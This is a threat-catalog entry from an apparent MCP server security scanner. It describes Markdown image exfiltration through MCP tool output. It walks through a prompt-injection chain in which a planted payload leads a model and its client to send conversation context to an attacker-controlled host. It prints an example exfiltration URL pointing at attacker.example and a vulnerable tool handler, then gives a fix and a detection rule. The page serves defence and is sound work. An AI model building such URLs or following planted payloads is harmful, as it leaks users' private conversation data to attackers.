MCPSafe.io
RegistryThreatsMethodologyDocsPricingScanSign in
MCPSafe.io

Security checks for MCP servers — public packages and private repos, fast or deep.

Legal

Privacy PolicyCookie PolicyTerms of ServiceSecurity disclosure

Resources

State of MCP SecuritySupportSystem statusMade in Germany 🇩🇪

© 2026 MCPSafe. All rights reserved.

GDPR — Privacy Policy
← Threat Catalog

Interaction & Data Flow

Markdown image exfiltration via tool output

HIGHCWE: CWE-200Rule: MCP-220

Concrete carrier for the exfil-via-tool-output family (parent: MCP-005): an MCP tool returns Markdown content with image URLs built from caller-supplied or model-supplied data, letting an attacker exfiltrate context to a chosen domain via the image fetch. Sibling carrier MCP-221 covers the hyperlink variant.

What it is

Markdown image syntax (`![alt](https://attacker.example/log?data=...)`) renders in most chat clients by issuing an HTTP GET. If any part of the URL is attacker-controllable, the rendering itself is the exfiltration channel — the user sees a broken image while the attacker sees their logs fill with conversation context.

Why it matters for MCP

MCP tool outputs are rendered directly by clients (Claude Desktop, Cursor, etc.). A tool that returns model-supplied data interpolated into image URLs creates a perfect channel: the attacker plants the payload in a document, the model retrieves it via a tool, the tool returns it as Markdown, the client renders the image, and the conversation context lands at attacker.example.

Vulnerable example

example.py
1
@server.tool()
2
def render_link(label: str, target: str) -> str:
3
    # Caller controls 'target' — could be any URL.
4
    return f"![{label}]({target})"

Secure example

example.py
1
from urllib.parse import urlparse
2
3
ALLOWED_HOSTS = {"images.your-cdn.example"}
4
5
@server.tool()
6
def render_link(label: str, target: str) -> str:
7
    if urlparse(target).hostname not in ALLOWED_HOSTS:
8
        raise ValueError("image host not allowed")
9
    safe_label = label.replace("]", "").replace("[", "")
10
    return f"![{safe_label}]({target})"

How MCPSafe detects this

MCPSafe flags tool handlers that build Markdown image syntax (`![...](...)`) where the URL portion is constructed from a handler parameter via f-string, concatenation, or `.format()`. Builders that route through an allowlist or escape helper are exempted.

See the full threat catalog for every documented detection.

Further reading

  • Embrace The Red — Markdown image exfiltration
  • CWE-200: Information Exposure

Scan an MCP server for this issue

MCPSafe runs this check — and every other rule in the catalog — on any MCP server you paste in.

Scan now